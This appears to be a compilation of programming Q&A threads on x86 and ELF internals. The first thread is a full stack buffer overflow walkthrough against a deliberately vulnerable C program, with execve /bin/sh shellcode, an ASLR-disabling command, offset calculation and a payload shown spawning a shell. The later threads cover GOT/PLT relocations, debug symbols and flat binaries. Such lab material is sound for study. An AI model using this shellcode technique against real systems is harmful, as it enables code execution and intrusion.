Related
I am trying to take control of this program with a shellcode.
#include <string.h>
#include <stdio.h>
void func (char * arg)
{
char name [32];
strcpy (name, arg);
printf ("\ nHello% s \ n \ n", name);
}
int main (int argc, char * argv [])
{
if (argc! = 2) {
printf ("Usage:% s NAME \ n", argv [0]);
exit (0);
}
func (argv [1]);
printf ("End of program \ n \ n");
return 0;
}
With 40 Aes, this is when the segment violation occurs and therefore the EIP record has been overwritten. Since my shellcode is 23 characters long, I input 17 Aes to exploit it. But I need the address of the beginning of the "name" buffer for the shellcode to run there.
In this case, as there is only one variable, it would be worth knowing the address of ESP, since, being the top of the stack, it will match.
I've seen this program that gets you an address close to ESP:
#include <stdio.h>
unsigned long get_sp (void) {
__asm __ ("movl% esp,% eax");
}
leading void () {
printf ("0x% x \ n", get_sp ());
}
However, I always get the segment violation signal, executing the following:
./my_program `perl -e 'print" \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80 ". "A" x17. "ESP address" '`
The program is compiled like this:
gcc -fno-stack-protector -D_FORTIFY_SOURCE = 0 -z norelro -z execstack my_program.c -o my_program
How can I get the extreme address of the beginning of the buffer or ESP?
0. Turn ASLR off
To do it easily, we can disable ASLR. In real world exploit, we will need to brute force the address as the address is randomized.
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
1. Compilation
ammarfaizi2#integral:~/ex/exp$ cat my_program.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
void func(char *arg)
{
char name[32];
strcpy(name, arg);
printf("\nHello %s \n\n", name);
}
int main(int argc, char *argv[])
{
if (argc != 2) {
printf("Usage: %s NAME \n", argv[0]);
exit(0);
}
func(argv[1]);
printf("End of program \n\n");
return 0;
}
ammarfaizi2#integral:~/ex/exp$ gcc -fno-stack-protector -zexecstack -m32 my_program.c -o my_program
ammarfaizi2#integral:~/ex/exp$
2. Calculating Offset
0000122d <func>:
122d: f3 0f 1e fb endbr32
1231: 55 push %ebp
1232: 89 e5 mov %esp,%ebp
/*
*
* At this point, we know what return address is located at
* 0x4(%ebp).
*
*/
1234: 53 push %ebx
1235: 83 ec 24 sub $0x24,%esp
1238: e8 f3 fe ff ff call 1130 <__x86.get_pc_thunk.bx>
123d: 81 c3 8f 2d 00 00 add $0x2d8f,%ebx
1243: 83 ec 08 sub $0x8,%esp
1246: ff 75 08 push 0x8(%ebp)
1249: 8d 45 d8 lea -0x28(%ebp),%eax
124c: 50 push %eax
124d: e8 5e fe ff ff call 10b0 <strcpy#plt>
/*
*
* At this point, we know that the command line argument
* is copied to -0x28(%ebp)
*
*/
1252: 83 c4 10 add $0x10,%esp
1255: 83 ec 08 sub $0x8,%esp
1258: 8d 45 d8 lea -0x28(%ebp),%eax
125b: 50 push %eax
125c: 8d 83 3c e0 ff ff lea -0x1fc4(%ebx),%eax
1262: 50 push %eax
1263: e8 38 fe ff ff call 10a0 <printf#plt>
1268: 83 c4 10 add $0x10,%esp
126b: 90 nop
126c: 8b 5d fc mov -0x4(%ebp),%ebx
126f: c9 leave
1270: c3 ret
To overwrite return address from -0x28(%ebp), we need to write 0x4 - (-0x28) bytes (44 bytes).
We have 23 bytes shell code.
We need 21 bytes padding to make our payload be 44 bytes to reach return address.
We need 4 bytes malicious return address, we take \x11\x11\x11\x11 at the moment, as we don't yet know.
Test Execute
ammarfaizi2#integral:~/ex/exp$ ./my_program $(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","A"x21,"\x11\x11\x11\x11"')
Hello 1�Ph//shh/bin��PS��
AAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
ammarfaizi2#integral:~/ex/exp$ dmesg | tail -n 2
[56448.175467] my_program[117895]: segfault at 11111111 ip 0000000011111111 sp 00000000ffffd3c0 error 14 in my_program[56555000+1000]
[56448.175493] Code: Bad RIP value.
ammarfaizi2#integral:~/ex/exp$
At this point we have been able to overwrite EIP value. So the next is to find the shell code address.
3. Finding Shell Code Address
Notice that segfault happens when the leave and ret undo the esp value. So we need to find how many bytes is subtracted when func stack frame is created.
Notice how esp changes
; From main function
call func ; -4 bytes
; Setup stack frame
push %ebp ; -4 bytes
mov %esp,%ebp ; At this point %ebp = %esp
We undo -8 bytes, and our shell code is located -0x28(%ebp). So we have -48 bytes total.
Last segfault is at SP = 0xffffd3c0
Hence target return address is 0xffffd3c0 - 48 = 0xffffd390.
4. Execute Exploit
Notice that x86 is little endian byte order, so we need to reverse our payload (by byte).
ffffd390 we write it as \x90\xd3\xff\xff.
So Replace \x11\x11\x11\x11 with \x90\xd3\xff\xff
ammarfaizi2#integral:~/ex/exp$ ./my_program $(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","A"x21,"\x90\xd3\xff\xff"')
Hello 1�Ph//shh/bin��PS��
AAAAAAAAAAAAAAAAAAAAA����
$ date
Sat Apr 3 14:47:02 WIB 2021
$ whoami
ammarfaizi2
$ exit
ammarfaizi2#integral:~/ex/exp$
1. Turn off ASLR and compilation
cat /proc/sys/kernel/randomize_va_space
0
gcc -fno-stack-protector -zexecstack -m32 prog.c -o prog2
08048474 <func>:
8048474: 55 push %ebp
8048475: 89 e5 mov %esp,%ebp
8048477: 83 ec 38 sub $0x38,%esp
804847a: 8b 45 08 mov 0x8(%ebp),%eax
804847d: 89 44 24 04 mov %eax,0x4(%esp)
8048481: 8d 45 d8 lea -0x28(%ebp),%eax
8048484: 89 04 24 mov %eax,(%esp)
8048487: e8 e4 fe ff ff call 8048370 <strcpy#plt>
804848c: b8 d0 85 04 08 mov $0x80485d0,%eax
8048491: 8d 55 d8 lea -0x28(%ebp),%edx
8048494: 89 54 24 04 mov %edx,0x4(%esp)
8048498: 89 04 24 mov %eax,(%esp)
804849b: e8 c0 fe ff ff call 8048360 <printf#plt>
80484a0: c9 leave
80484a1: c3 ret
080484a2 <main>:
80484a2: 55 push %ebp
80484a3: 89 e5 mov %esp,%ebp
80484a5: 83 e4 f0 and $0xfffffff0,%esp
80484a8: 83 ec 10 sub $0x10,%esp
80484ab: 83 7d 08 02 cmpl $0x2,0x8(%ebp)
80484af: 74 22 je 80484d3 <main+0x31>
80484b1: 8b 45 0c mov 0xc(%ebp),%eax
80484b4: 8b 10 mov (%eax),%edx
80484b6: b8 f5 85 04 08 mov $0x80485f5,%eax
80484bb: 89 54 24 04 mov %edx,0x4(%esp)
80484bf: 89 04 24 mov %eax,(%esp)
80484c2: e8 99 fe ff ff call 8048360 <printf#plt>
80484c7: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80484ce: e8 cd fe ff ff call 80483a0 <exit#plt>
80484d3: 8b 45 0c mov 0xc(%ebp),%eax
80484d6: 83 c0 04 add $0x4,%eax
80484d9: 8b 00 mov (%eax),%eax
80484db: 89 04 24 mov %eax,(%esp)
80484de: e8 91 ff ff ff call 8048474 <func>
80484e3: c7 04 24 05 86 04 08 movl $0x8048605,(%esp)
80484ea: e8 91 fe ff ff call 8048380 <puts#plt>
80484ef: b8 00 00 00 00 mov $0x0,%eax
80484f4: c9 leave
80484f5: c3 ret
2. Test Excute
./prog2 $(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A" x21 . "\x11\x11\x11\x11"')
Hello 1▒Ph//shh/bin▒▒PS▒▒
̀AAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
dmesg | tail -n 2
[82020.945063] prog2[11078]: segfault at d0080484 ip bffff71c sp bffff760 error 5
[82669.199863] prog2[11100]: segfault at 11111111 ip 11111111 sp bffff760 error 14
Last segfault is at 0xbffff760, so: 0xbffff760 - 48 = 0xbffff718
./prog2 $(perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A" x21 . "\x18\xf7\xff\xbf"')
Hello 1▒Ph//shh/bin▒▒PS▒▒
̀AAAAAAAAAAAAAAAAAAAAA▒▒▒
Segmentation fault (core dumped)
dmesg | tail -n 2
[82669.199863] prog2[11100]: segfault at 11111111 ip 11111111 sp bffff760 error 14
[82857.841068] prog2[11108] general protection ip:bffff718 sp:bffff760 error:0
I wrote simple shared library:
extern void some_func(void);
void
function(void)
{
some_func();
}
Compiled/built:
gcc -fPIC -mcmodel=large -c test.c -o test.o
gcc -fPIC -shared test.o -o libtest.so
Disassembled, to see how some_func is referenced:
$ objdump -d libtest.so
00000000000006a0 <function>:
6a0: 55 push %rbp
6a1: 48 89 e5 mov %rsp,%rbp
6a4: 41 57 push %r15
6a6: 48 83 ec 08 sub $0x8,%rsp
6aa: 48 8d 05 f9 ff ff ff lea -0x7(%rip),%rax # 6aa <function+0xa>
6b1: 49 bb 56 09 20 00 00 movabs $0x200956,%r11
6b8: 00 00 00
6bb: 4c 01 d8 add %r11,%rax
6be: 49 89 c7 mov %rax,%r15
6c1: 48 ba 80 f5 df ff ff movabs $0xffffffffffdff580,%rdx
6c8: ff ff ff
6cb: 48 01 c2 add %rax,%rdx
6ce: ff d2 callq *%rdx
6d0: 90 nop
6d1: 48 83 c4 08 add $0x8,%rsp
6d5: 41 5f pop %r15
6d7: 5d pop %rbp
6d8: c3 retq
Looked where .got.plt is located:
$ readelf -S libtest.so
...
[21] .got.plt PROGBITS 0000000000201000 00001000
0000000000000020 0000000000000008 WA 0 0 8
...
What is the relocation:
$ readelf -r libtest.so
Relocation section '.rela.plt' at offset 0x538 contains 1 entries:
Offset Info Type Sym. Value Sym. Name + Addend
000000201018 000400000007 R_X86_64_JUMP_SLO 0000000000000000 some_func + 0
In 6aa-6bb we get absolute location of GOT: 6aa + 0x200956 = 0x201000
That agrees with readelf -S libtest.so 's output.
We skip 3 reserved bytes in GOT(functions-related) and determine that some_func's absolute address should be found at +0x18(forth byte from GOT) offset at runtime.
That agrees with readelf -r libtest.so.
But 6c1 instruction in objdump's disassembly shows:
movabs $0xfff...dff580, %rdx
I expect that source operand will hold +0x18 (offset from GOT, its address located at rax), but instead it has some large negative number.
Could you explain what it shows that number but not 0x18?
There are two kinds of relocations: static and dynamic (1); one for static linker ld and other for loader (dynamic linker, rtld) - ld-linux.so.2 for linux's glibc 2.* (check Dynamic Linking and Loading, 1999 or Static Linkers and Dyanmic Link Loaders).
When you use objdump to dump relocations, it has -r option for static relocations, and -R for dynamic relocations.
Your case is not just GOT, it is GOT.PLT - GOT used for procedute linkage. This kind of access uses dynamic relocations. So, you should check output of objdump -dR libtest.so, it will show you both disassembly and dynamic relocations in it.
Cited line from readelf -r libtest.so is just for PLT table, not for the code.
http://www.airs.com/blog/archives/41
or function calls, the program linker will set up a PLT entry to look like this:
jmp *offset(%ebx)
pushl #index
jmp first_plt_entry
The program linker will allocate an entry in the GOT for each entry in
the PLT. It will create a dynamic relocation for the GOT entry of type
JMP_SLOT. It will initialize the GOT entry to the base address of the
shared library plus the address of the second instruction in the code
sequence above. When the dynamic linker does the initial lazy binding
on a JMP_SLOT reloc, it will simply add the difference between the
shared library load address and the shared library base address to the
GOT entry. The effect is that the first jmp instruction will jump to
the second instruction, which will push the index entry and branch to
the first PLT entry. The first PLT entry is special, and looks like this:
pushl 4(%ebx)
jmp *8(%ebx)
This references the second and third entries in the GOT. The dynamic
linker will initialize them to have appropriate values for a callback
into the dynamic linker itself. The dynamic linker will use the index
pushed by the first code sequence to find the JMP_SLOT relocation.
When the dynamic linker determines the function to be called, it will
store the address of the function into the GOT entry references by the
first code sequence. Thus, the next time the function is called, the
jmp instruction will branch directly to the right code.
I now understand how dynamic functions are referenced, by procedure linkage table like below:
Dump of assembler code for function foo#plt:
0x0000000000400528 <foo#plt+0>: jmpq *0x2004d2(%rip) # 0x600a00 <_GLOBAL_OFFSET_TABLE_+40>
0x000000000040052e <foo#plt+6>: pushq $0x2
0x0000000000400533 <foo#plt+11>: jmpq 0x4004f8
(gdb) disas 0x4004f8
No function contains specified address.
But I don't know how dynamic variables are referenced,though I found the values are populated in the GOT once started,but there's no stub like above,how does it work?
The dynamic loader relocates all references to variables before transferring control to the user program.
There is no "stub" for them, because once the user program starts executing, it is not possible for the loader to regain control and update variable addresses. If this isn't clear to you, then you have not really understood how the PLT lazy-resolution stub works.
Global variables are accessed indirectly, via a global offset table.
When compiling a program, the compiler generates code that performs
indirect accesses, and emits relocation information specifying the
entry in the global offset table being used.
The linker performs these relocations when creating the final
dynamically loadable object, resulting in machine code that does not
need further patching at load time.
To see this in action, consider the following code fragment.
int v1;
int f(void) { return !v1; }
The function f references a global v1. The machine code generated
for the function looks like the following (on an i386):
% gcc -c -fpic a.c
% objdump --disassemble --reloc a.o
[snip]
Disassembly of section .text:
00000000 <f>:
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: e8 fc ff ff ff call 4 <f+0x4>
4: R_386_PC32 __i686.get_pc_thunk.cx
8: 81 c1 02 00 00 00 add $0x2,%ecx
a: R_386_GOTPC _GLOBAL_OFFSET_TABLE_
e: 8b 81 00 00 00 00 mov 0x0(%ecx),%eax
10: R_386_GOT32 v1
14: 8b 00 mov (%eax),%eax
16: 85 c0 test %eax,%eax
18: 0f 94 c0 sete %al
1b: 0f b6 c0 movzbl %al,%eax
1e: 5d pop %ebp
1f: c3 ret
Disassembly of section .text.__i686.get_pc_thunk.cx:
00000000 <__i686.get_pc_thunk.cx>:
0: 8b 0c 24 mov (%esp),%ecx
3: c3 ret
Machine code walk-through:
(Offsets 0x0 and 0x1) The standard function prologue.
(Offset 0x3) The call to __i686.get_pc_thunk.cx prepares for
PC-relative addressing by loading the address of the instruction
after the call into register %ecx.
(Offset 0x8) The value in %ecx is adjusted to point to the start
of the global offset table. This adjustment is signalled by the
relocation entry of type R_386_GOTPC.
(Offset 0xE) The address of global v1 is retrieved. The
R_386_GOT32 relocation supplies the offset of v1's entry from
the base of the global offset table.
(Offset 0x14) The value in v1 is retrieved into register %eax.
(Offsets 0x16--0x1F) The rest of the computation for function f.
In the final shared object, the linker patches the function's code to
the following:
% gcc -shared -o a.so a.o
% objdump --disassemble a.so
...snip...
0000044c <f>:
44c: 55 push %ebp
44d: 89 e5 mov %esp,%ebp
44f: e8 18 00 00 00 call 46c <__i686.get_pc_thunk.cx>
454: 81 c1 a0 1b 00 00 add $0x1ba0,%ecx
45a: 8b 81 f8 ff ff ff mov -0x8(%ecx),%eax
460: 8b 00 mov (%eax),%eax
462: 85 c0 test %eax,%eax
...snip...
Assuming that the object gets loaded at offset O in memory, the
call instruction at offset 0x44F will load O+0x454+0x1BA0, i.e.,
O+0x1FF4 into %ecx.
The instruction at offset 0x45A subtracts 8 from %ecx
to get the address of the slot for v1 in the global offset table,
i.e., the slot for v1 is at offset 0x1FEC from the start of the
shared object.
Looking at the dynamic relocation records for the shared object, we
see a relocation record instructing the runtime loader to store the
actual address for v1 at offset 0x1FEC.
% objdump -R a.so
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
...snip...
00001fec R_386_GLOB_DAT v1
...snip...
Further reading:
Pat Beirne's "Study of ELF loading and relocs" has more information about ELF relocations.
Is it possible to obtain the source of a linux shared library (.so) that was compiled with debugging information (gcc .. -g) ? Thank you for your time.
The answer is: it depends - not only is the compile option -g necessary, but also the final created executable / shared libary may not be stripped during the build process.
Object files created with -g do contain a kind of sourcecode - just not sourcecode as you like it ...
If you use objdump -S on such a file, it'll intersperse the disassembly with sourcecode lines.
But what that shows is the actual compiled source - past any operation done by the preprocessor, and past any inlining done by the compiler.
That means you can get surprising output from it; if nothing else, its verbosity can look a bit like Cobol sources. Start with:
#include <algorithm>
#include <functional>
int main(int argc, char **argv)
{
int array[] = { 1, 123, 1234, 12345, 123456 };
std::sort(array, array + sizeof(array)/sizeof(*array), std::less<int>());
return 0;
}
And run it through g++ -O8 -g -o t t.C and then objdump -S t. This will give you the output for main() similar to the following (what exactly you see of course depends on your compiler and/or library):
00000000004005e0 :
#include <algorithm>
#include <functional>
int main(int argc, char **argv)
{
4005e0: 41 57 push %r15
_ValueType<)
__glibcxx_requires_valid_range(__first, __last);
if (__first != __last)
{
std::__introsort_loop(__first, __last,
4005e2: ba 04 00 00 00 mov $0x4,%edx
4005e7: 41 56 push %r14
4005e9: 41 55 push %r13
4005eb: 41 54 push %r12
4005ed: 41 bc 04 00 00 00 mov $0x4,%r12d
4005f3: 55 push %rbp
4005f4: 53 push %rbx
4005f5: 48 83 ec 38 sub $0x38,%rsp
4005f9: 4c 8d 74 24 10 lea 0x10(%rsp),%r14
int array[] = { 1, 123, 1234, 12345, 123456 };
4005fe: c7 44 24 10 01 00 00 movl $0x1,0x10(%rsp)
400605: 00
400606: c7 44 24 14 7b 00 00 movl $0x7b,0x14(%rsp)
40060d: 00
40060e: c7 44 24 18 d2 04 00 movl $0x4d2,0x18(%rsp)
400615: 00
400616: c7 44 24 1c 39 30 00 movl $0x3039,0x1c(%rsp)
40061d: 00
40061e: 4d 8d 7e 14 lea 0x14(%r14),%r15
400622: 49 8d 6e 08 lea 0x8(%r14),%rbp
400626: 4c 89 f7 mov %r14,%rdi
400629: c7 44 24 20 40 e2 01 movl $0x1e240,0x20(%rsp)
400630: 00
400631: c6 04 24 00 movb $0x0,(%rsp)
400635: 4c 89 fe mov %r15,%rsi
400638: e8 73 01 00 00 callq 4007b0 <_ZSt16__introsort_loopIPilSt4lessIiEEvT_S3_T0_T1_>
40063d: eb 01 jmp 400640 <main+0x60>
40063f: 90 nop
if (__first == __last) return;
for (_RandomAccessIterator __i = __first + 1; __i != __last; ++__i)
{
typename iterator_traits<_RandomAccessIterator>::value_type
__val = *__i;
400640: 8b 5d fc mov -0x4(%rbp),%ebx
if (__comp(__val, *__first))
400643: 3b 5c 24 10 cmp 0x10(%rsp),%ebx
_ValueType>)
__glibcxx_requires_valid_range(__first, __last);
if (__first != __last)
{
std::__introsort_loop(__first, __last,
400647: 4b 8d 0c 34 lea (%r12,%r14,1),%rcx
for (_RandomAccessIterator __i = __first + 1; __i != __last; ++__i)
{
typename iterator_traits<_RandomAccessIterator>::value_type
__val = *__i;
if (__comp(__val, *__first))
40064b: 7c 53 jl 4006a0 <main+0xc0>
template<typename _Tp>
struct less : public binary_function<_Tp, _Tp, bool>
{
bool
operator()(const _Tp& __x, const _Tp& __y) const
{ return __x < __y; }
40064d: 8b 55 f8 mov -0x8(%rbp),%edx
{
std::copy_backward(__first, __i, __i + 1);
*__first = __val;
400650: 48 8d 45 f8 lea -0x8(%rbp),%rax
__unguarded_linear_insert(_RandomAccessIterator __last, _Tp __val,
_Compare __comp)
{
_RandomAccessIterator __next = __last;
--__next;
while (__comp(__val, *__next))
400654: 39 d3 cmp %edx,%ebx
400656: 7c 0e jl 400666 <main+0x86>
400658: eb 1c jmp 400676 <main+0x96>
40065a: eb 04 jmp 400660 <main+0x80>
40065c: 90 nop
40065d: 90 nop
40065e: 90 nop
40065f: 90 nop
400660: 48 89 c1 mov %rax,%rcx
400663: 48 89 f0 mov %rsi,%rax
{
*__last = *__next;
400666: 89 11 mov %edx,(%rcx)
400668: 8b 50 fc mov -0x4(%rax),%edx
__last = __next;
--__next;
40066b: 48 8d 70 fc lea -0x4(%rax),%rsi
__unguarded_linear_insert(_RandomAccessIterator __last, _Tp __val,
_Compare __comp)
{
_RandomAccessIterator __next = __last;
--__next;
while (__comp(__val, *__next))
40066f: 39 d3 cmp %edx,%ebx
400671: 7c ed jl 400660 <main+0x80>
400673: 48 89 c1 mov %rax,%rcx
{
*__last = *__next;
__last = __next;
--__next;
}
*__last = __val;
400676: 89 19 mov %ebx,(%rcx)
400678: 49 89 ed mov %rbp,%r13
40067b: 48 83 c5 04 add $0x4,%rbp
40067f: 49 83 c4 04 add $0x4,%r12
__insertion_sort(_RandomAccessIterator __first,
_RandomAccessIterator __last, _Compare __comp)
{
if (__first == __last) return;
for (_RandomAccessIterator __i = __first + 1; __i != __last; ++__i)
400683: 4d 39 ef cmp %r13,%r15
400686: 75 b8 jne 400640 <main+0x60>
std::sort(array, array + sizeof(array)/sizeof(*array), std::less<int>());
return 0;
}
400688: 48 83 c4 38 add $0x38,%rsp
40068c: 31 c0 xor %eax,%eax
40068e: 5b pop %rbx
40068f: 5d pop %rbp
400690: 41 5c pop %r12
400692: 41 5d pop %r13
400694: 41 5e pop %r14
400696: 41 5f pop %r15
400698: c3 retq
400699: eb 05 jmp 4006a0 <main+0xc0>
How helpful the presence of this "sourcecode" would be is left as an exercise to the reader at this point ;-)
Tricky question. The easy answer is No, you can't.
However, if you understand assembly you can use tools like objdump, gdb and others to disassemble the application. And from the assembly a skilled programmer can re-write the application. This is no easy task, and it gets more difficult depending on how complex the target application is.
The fact is that release versions are not (or shouldn't) be compiled with -g.
If you mean by decompiling, look at decompilers (IDA Pro, e.g.); Having debug information can help greatly, especially if you're not interested in the full source.
You can use the debug symbols to identify starting points of procedures that you are interested in. Using a good reverse engineering tool (like IDA or the very excellent OllyDbg) you can get annotated disassembly for those parts. OllyDbg and IDA are able to a certain extent to generate C code from the disassembly.
Having the symbols, again, helps, but is no magic pill
No. The debugging information just contains information about the symbols, i.e. the variables and functions but does not contain the code itself.
Is there a set of command-line options that will convince gcc to produce a flat binary file from a self-contained source file? For example, suppose the contents of foo.c are
static int f(int x)
{
int y = x*x;
return y+2;
}
No external references, nothing to export to the linker. I'd like to get a small file with just the machine instructions for this function, without any other decoration. Sort of like a (DOS) .COM file except 32-bit protected mode.
Try this out:
$ gcc -c test.c
$ objcopy -O binary -j .text test.o binfile
You can make sure it's correct with objdump:
$ objdump -d test.o
test.o: file format pe-i386
Disassembly of section .text:
00000000 <_f>:
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 ec 04 sub $0x4,%esp
6: 8b 45 08 mov 0x8(%ebp),%eax
9: 0f af 45 08 imul 0x8(%ebp),%eax
d: 89 45 fc mov %eax,-0x4(%ebp)
10: 8b 45 fc mov -0x4(%ebp),%eax
13: 83 c0 02 add $0x2,%eax
16: c9 leave
17: c3 ret
And compare it with the binary file:
$ hexdump -C binfile
00000000 55 89 e5 83 ec 04 8b 45 08 0f af 45 08 89 45 fc |U......E...E..E.|
00000010 8b 45 fc 83 c0 02 c9 c3 |.E......|
00000018
You can pass options to the linker directly with -Wl,<linker option>
The relevant documentation is copied below from the man gcc
-Wl,option
Pass option as an option to the linker. If option contains commas, it is split into multiple options at the commas. You can use
this syntax to pass an argument to the option. For example,
-Wl,-Map,output.map passes -Map output.map to the linker. When using the GNU linker, you can also get the same effect with
-Wl,-Map=output.map.
So when compiling with gcc if you pass -Wl,--oformat=binary you will generate a binary file instead of the elf format. Where --oformat=binary tells ld to generate a binary file.
This removes the need to objcopy separately.
Note that --oformat=binary can be expressed as OUTPUT_FORMAT("binary") from within a linker script. If you want to deal with flat binaries, there's a big chance that you would benefit from high level of control that linker scripts provide.
You can use objcopy to pull the text segment out of the .o file or the a.out file.
$ cat q.c
f() {}
$ cc -S -O q.c
$ cat q.s
.file "q.c"
.text
.globl f
.type f, #function
f:
pushl %ebp
movl %esp, %ebp
popl %ebp
ret
.size f, .-f
.ident "GCC: (Ubuntu 4.3.3-5ubuntu4) 4.3.3"
.section .note.GNU-stack,"",#progbits
$ cc -c -O q.c
$ objcopy -O binary q.o q.bin
$ od -X q.bin
0000000 5de58955 000000c3
0000005
$ objdump -d q.o
q.o: file format elf32-i386
Disassembly of section .text:
00000000 <f>:
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 5d pop %ebp
4: c3 ret
The other answers are definitely the way to go. However, I had to specify additional command line arguments to objcopy in order for my output to be as expected. Note that I am developing 32-bit code on a 64-bit machine, hence the -m32 argument. Also, I like intel assembly syntax better, so you'll see that in the arguments as well.
$ cat test.c
int main() { return 0; }
$ gcc -nostdinc -m32 -masm=intel -Wall -c test.c -o test.o
$ objdump --disassemble --disassembler-options intel test.o
test.o: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
0: 55 push ebp
1: 89 e5 mov ebp,esp
3: b8 00 00 00 00 mov eax,0x0
8: 5d pop ebp
9: c3 ret
Ok, here's where I had to specify that I specifically only wanted the .text section:
$ objcopy --only-section=.text --output-target binary test.o test.bin
$ hexdump -C test.bin
00000000 55 89 e5 b8 00 00 00 00 5d c3 |U.......].|
0000000a
It took me about 2 hours of reading and trying different options before I figured this out. Hopefully this saves someone else that time.